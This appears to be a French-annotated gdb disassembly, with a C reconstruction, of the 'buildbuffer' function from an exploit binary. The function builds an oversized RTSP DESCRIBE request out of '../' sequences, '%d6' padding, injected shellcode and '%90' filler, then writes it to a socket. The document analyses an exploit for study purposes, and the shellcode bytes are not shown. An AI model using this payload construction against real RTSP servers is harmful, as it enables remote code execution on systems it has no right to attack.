Dump of assembler code for function buildbuffer:
0x8048cd5 <buildbuffer>:	push   %ebp									; prolog
0x8048cd6 <buildbuffer+1>:	mov    %esp,%ebp							;	
0x8048cd8 <buildbuffer+3>:	sub    $0x18,%esp							; 24 octets pour les variables locales
0x8048cdb <buildbuffer+6>:	sub    $0xc,%esp							; réserve 12 octets
0x8048cde <buildbuffer+9>:	push   $0x2710								; push 10000 
0x8048ce3 <buildbuffer+14>:	call   0x8048854 <malloc>					; buffer = malloc( 10000 );
0x8048ce8 <buildbuffer+19>:	add    $0x10,%esp							; modifie le pointeur de pile
0x8048ceb <buildbuffer+22>:	mov    %eax,0xfffffff4(%ebp)				; on stocke l'adresse de buffer à -12 de ebp 
0x8048cee <buildbuffer+25>:	sub    $0x4,%esp							; réserve 4 octets 
0x8048cf1 <buildbuffer+28>:	push   $0x4									; push 4
0x8048cf3 <buildbuffer+30>:	push   $0x0									; push 0
0x8048cf5 <buildbuffer+32>:	pushl  0xfffffff4(%ebp)						; push l'adresse de buffer
0x8048cf8 <buildbuffer+35>:	call   0x8048964 <memset>					; memset( buffer, 0, sizeof(buffer) );
0x8048cfd <buildbuffer+40>:	add    $0x10,%esp							
0x8048d00 <buildbuffer+43>:	sub    $0x8,%esp							; réserve 8 octets

(gdb) x /s 0x8049683
0x8049683 <_IO_stdin_used+319>:  "[*] making evil ##\n"

0x8048d03 <buildbuffer+46>:	push   $0x8049683							; string = "[*] making evil ##\n"

(gdb) x 0x804aae4
0x804aae4 <stderr@@GLIBC_2.0>:   ""

0x8048d08 <buildbuffer+51>:	pushl  0x804aae4							; stderr
0x8048d0e <buildbuffer+57>:	call   0x8048804 <fprintf>					; fprintf( stderr, "[*] making evil ##\n" );
0x8048d13 <buildbuffer+62>:	add    $0x10,%esp							
0x8048d16 <buildbuffer+65>:	sub    $0x8,%esp							; réserve 8 octets	

(gdb) x /s 0x8049697
0x8049697 <_IO_stdin_used+339>:  "DESCRIBE /./"

0x8048d19 <buildbuffer+68>:	push   $0x8049697							; string = "DESCRIBE /./"
0x8048d1e <buildbuffer+73>:	pushl  0xfffffff4(%ebp)						; toujours notre fameux buffer
0x8048d21 <buildbuffer+76>:	call   0x80488b4 <strcat>					; strcat( buffer, "DESCRIBE /./" );
0x8048d26 <buildbuffer+81>:	add    $0x10,%esp							
0x8048d29 <buildbuffer+84>:	movl   $0x0,0xfffffffc(%ebp)				; push 0 à -4 ebp (i=0)
0x8048d30 <buildbuffer+91>:	cmpl   $0x203,0xfffffffc(%ebp)				; compare -4 ebp à 515
0x8048d37 <buildbuffer+98>:	jle    0x8048d3b <buildbuffer+102>			; jump à 0x8048d3b si c'est inférieur
0x8048d39 <buildbuffer+100>:	jmp    0x8048d55 <buildbuffer+128>		; jump à 0x8048d55 si c'est égal

nous avons une boucle classique :
for ( i = 0; i <= 515; i++ ) {
}

0x8048d3b <buildbuffer+102>:	sub    $0x8,%esp						; réserve 8 octets	

(gdb) x /s 0x80496a4
0x80496a4 <_IO_stdin_used+352>:  "../"

0x8048d3e <buildbuffer+105>:	push   $0x80496a4						; string "../"
0x8048d43 <buildbuffer+110>:	pushl  0xfffffff4(%ebp)					; toujours notre fameux buffer
0x8048d46 <buildbuffer+113>:	call   0x80488b4 <strcat>				; strcat( buffer, "../" );
0x8048d4b <buildbuffer+118>:	add    $0x10,%esp						
0x8048d4e <buildbuffer+121>:	lea    0xfffffffc(%ebp),%eax			; on stocke notre compteur dans %eax
0x8048d51 <buildbuffer+124>:	incl   (%eax)							; on incrémente le compteur
0x8048d53 <buildbuffer+126>:	jmp    0x8048d30 <buildbuffer+91>		; on saute au début de la boucle
0x8048d55 <buildbuffer+128>:	sub    $0x8,%esp						; réserve 8 octets

x /s 0x80496a8
0x80496a8 <_IO_stdin_used+356>:  "%d6%d6%d6%d6%d6"

0x8048d58 <buildbuffer+131>:	push   $0x80496a8						; string "%d6%d6%d6%d6%d6"
0x8048d5d <buildbuffer+136>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048d60 <buildbuffer+139>:	call   0x80488b4 <strcat>				; strcat( buffer, "%d6%d6%d6%d6%d6" );
0x8048d65 <buildbuffer+144>:	add    $0x10,%esp						
0x8048d68 <buildbuffer+147>:	sub    $0x8,%esp						; réserve 8 octets
0x8048d6b <buildbuffer+150>:	pushl  0x8(%ebp)						; premier argument de buildbuffer()

Note: avec gdb, il est possible de connaitre la valeur de cet argument
en débuggant le programme. Il s'avère que c'est le shellcode.

0x8048d6e <buildbuffer+153>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048d71 <buildbuffer+156>:	call   0x80488b4 <strcat>				; strcat( buffer, shellcode );
0x8048d76 <buildbuffer+161>:	add    $0x10,%esp						
0x8048d79 <buildbuffer+164>:	movl   $0x0,0xfffffffc(%ebp)			; met 0 à -4 ebp (i=0)
0x8048d80 <buildbuffer+171>:	cmpl   $0x1ff,0xfffffffc(%ebp)			; compare -4 ebp à 511
0x8048d87 <buildbuffer+178>:	jle    0x8048d8b <buildbuffer+182>		; jump à 0x8048d8b si c'est inférieur
0x8048d89 <buildbuffer+180>:	jmp    0x8048da5 <buildbuffer+208>		; jump à 0x8048da5 si c'est égal

on se retrouve clairement à nouveau en présence d'une boucle:
for ( i = 0; i <= 511; i++ ) {
}

0x8048d8b <buildbuffer+182>:	sub    $0x8,%esp						; réserve 8 octets

(gdb) x /s 0x80496b8
0x80496b8 <_IO_stdin_used+372>:  "%90"

0x8048d8e <buildbuffer+185>:	push   $0x80496b8						; string "%90"
0x8048d93 <buildbuffer+190>:	pushl  0xfffffff4(%ebp)					;
0x8048d96 <buildbuffer+193>:	call   0x80488b4 <strcat>				; strcat( buffer, "%90" );
0x8048d9b <buildbuffer+198>:	add    $0x10,%esp						
0x8048d9e <buildbuffer+201>:	lea    0xfffffffc(%ebp),%eax			; on stocke notre compteur dans %eax
0x8048da1 <buildbuffer+204>:	incl   (%eax)							; on incrémente le compteur
0x8048da3 <buildbuffer+206>:	jmp    0x8048d80 <buildbuffer+171>		; on saute au début de la boucle
0x8048da5 <buildbuffer+208>:	sub    $0x8,%esp						; réserve 8 octets

(gdb) x /s 0x80496bc
0x80496bc <_IO_stdin_used+376>:  " RTSP/1.0"

0x8048da8 <buildbuffer+211>:	push   $0x80496bc						; string " RTSP/1.0"
0x8048dad <buildbuffer+216>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048db0 <buildbuffer+219>:	call   0x80488b4 <strcat>				; strcat( buffer, " RTSP/1.0" );
0x8048db5 <buildbuffer+224>:	add    $0x10,%esp						
0x8048db8 <buildbuffer+227>:	sub    $0x8,%esp						; réserve 8 octets

(gdb) x /s 0x80496c6
0x80496c6 <_IO_stdin_used+386>:  "\r\n\r\n"

0x8048dbb <buildbuffer+230>:	push   $0x80496c6						; string "\r\n\r\n"	
0x8048dc0 <buildbuffer+235>:	lea    0xfffffff8(%ebp),%eax			; charge ce qui est à -8 octets de ebp dans %eax
0x8048dc3 <buildbuffer+238>:	push   %eax								; push cette variable (qui s'avère être un buffer)
0x8048dc4 <buildbuffer+239>:	call   0x8048994 <sprintf>				; sprintf( buffer2, "\r\n\r\n" );
0x8048dc9 <buildbuffer+244>:	add    $0x10,%esp						
0x8048dcc <buildbuffer+247>:	sub    $0x4,%esp						; réserve 4 octets
0x8048dcf <buildbuffer+250>:	push   $0x4								; push 4
0x8048dd1 <buildbuffer+252>:	lea    0xfffffff8(%ebp),%eax			; charge l'adresse de variable2 dans %eax
0x8048dd4 <buildbuffer+255>:	push   %eax								; push %eax
0x8048dd5 <buildbuffer+256>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048dd8 <buildbuffer+259>:	call   0x80487b4 <strncat>				; strncat( buffer, buffer2, 4 )
0x8048ddd <buildbuffer+264>:	add    $0x10,%esp						
0x8048de0 <buildbuffer+267>:	sub    $0x8,%esp						; réserve 8 octets

(gdb) x /s 0x80496cb
0x80496cb <_IO_stdin_used+391>:  "[*] sending ##\n"

0x8048de3 <buildbuffer+270>:	push   $0x80496cb						; string "[*] sending ##\n"
0x8048de8 <buildbuffer+275>:	pushl  0x804aae4						; stderr
0x8048dee <buildbuffer+281>:	call   0x8048804 <fprintf>				; fprintf( stderr, "[*] sending ##\n");
0x8048df3 <buildbuffer+286>:	add    $0x10,%esp						
0x8048df6 <buildbuffer+289>:	sub    $0x4,%esp						; réserve 4 octets
0x8048df9 <buildbuffer+292>:	sub    $0x8,%esp						; réserve 8 octets
0x8048dfc <buildbuffer+295>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048dff <buildbuffer+298>:	call   0x8048874 <strlen>				; strlen( buffer )
0x8048e04 <buildbuffer+303>:	add    $0xc,%esp						
0x8048e07 <buildbuffer+306>:	push   %eax								; longeur du buffer
0x8048e08 <buildbuffer+307>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048e0b <buildbuffer+310>:	pushl  0xc(%ebp)						; la socket (du fait du nom de la fonction ci-dessous)
0x8048e0e <buildbuffer+313>:	call   0x8048a94 <write_sock>			; write_sock( sock, buffer, strlen(buffer) ); 
0x8048e13 <buildbuffer+318>:	add    $0x10,%esp						 
0x8048e16 <buildbuffer+321>:	test   %eax,%eax						; retour de la fonction write_sock < 0 ?
0x8048e18 <buildbuffer+323>:	jg     0x8048e30 <buildbuffer+347>
0x8048e1a <buildbuffer+325>:	sub    $0x8,%esp

(gdb) x /s 0x80496db
0x80496db <_IO_stdin_used+407>:  "write error\n"

0x8048e1d <buildbuffer+328>:	push   $0x80496db						; string "write error\n"
0x8048e22 <buildbuffer+333>:	pushl  0x804aae4						; stderr
0x8048e28 <buildbuffer+339>:	call   0x8048804 <fprintf>				; fprintf( stderr, "write error\n" );
0x8048e2d <buildbuffer+344>:	add    $0x10,%esp				
0x8048e30 <buildbuffer+347>:	sub    $0x4,%esp						; réserve 4 octets
0x8048e33 <buildbuffer+350>:	push   $0x2								; push 2

(gdb) x /s 0x80496e8
0x80496e8 <_IO_stdin_used+420>:  "\n\n"

0x8048e35 <buildbuffer+352>:	push   $0x80496e8						; string "\n\n"
0x8048e3a <buildbuffer+357>:	pushl  0xc(%ebp)						; la socket
0x8048e3d <buildbuffer+360>:	call   0x8048a94 <write_sock>			; write_sock( sock, "\n\n", 2 );
0x8048e42 <buildbuffer+365>:	add    $0x10,%esp
0x8048e45 <buildbuffer+368>:	sub    $0xc,%esp						; réserve 12 octets
0x8048e48 <buildbuffer+371>:	push   $0x1								; push 1
0x8048e4a <buildbuffer+373>:	call   0x8048884 <sleep>				; sleep( 1 );
0x8048e4f <buildbuffer+378>:	add    $0x10,%esp			
0x8048e52 <buildbuffer+381>:	sub    $0xc,%esp						; réserve 12 octets
0x8048e55 <buildbuffer+384>:	pushl  0xfffffff4(%ebp)					; notre buffer
0x8048e58 <buildbuffer+387>:	call   0x8048944 <free>					; free( buffer );
0x8048e5d <buildbuffer+392>:	add    $0x10,%esp
0x8048e60 <buildbuffer+395>:	leave  									; epilog
0x8048e61 <buildbuffer+396>:	ret    									;
End of assembler dump.

Grâce à l'analyse du code désassemblé, il est possible de réécrire la
fonction buildbuffer() en C :

void
buildbuffer( char * shellcode_utf, int sock )
{
	char * buffer1;
	char * buffer2;
	int i;

	buffer1 = malloc( 10000 );
	memset( buffer1, 0, 4 );

	fprintf( stderr, "[*] making evil ##\n" );
	strcat( buffer1, "DESCRIBE /./" );

	for ( i = 0; i <= 515; i++ ) {
		strcat( buffer, "../" );		
	}
	
	strcat( buffer1, "%d6%d6%d6%d6%d6" );
	strcat( buffer1, shellcode_utf );

	for ( i = 0; i <= 511; i++ ) {
		strcat( buffer1, "%90" );			
	}

	strcat( buffer1, " RTSP/1.0" );
	sprintf( buffer2, "\r\n\r\n");
	strncat( buffer1, buffer2, 4);

	fprintf( stderr, "[*] sending ##\n");
	if ( (write_sock(sock, buffer, strlen(buffer))) < 0 ) {
		fprintf( stderr, "write error\n" );
	}

	write_sock( sock, "\n\n", 2 );
	sleep( 1 );
	free( buffer1 );
}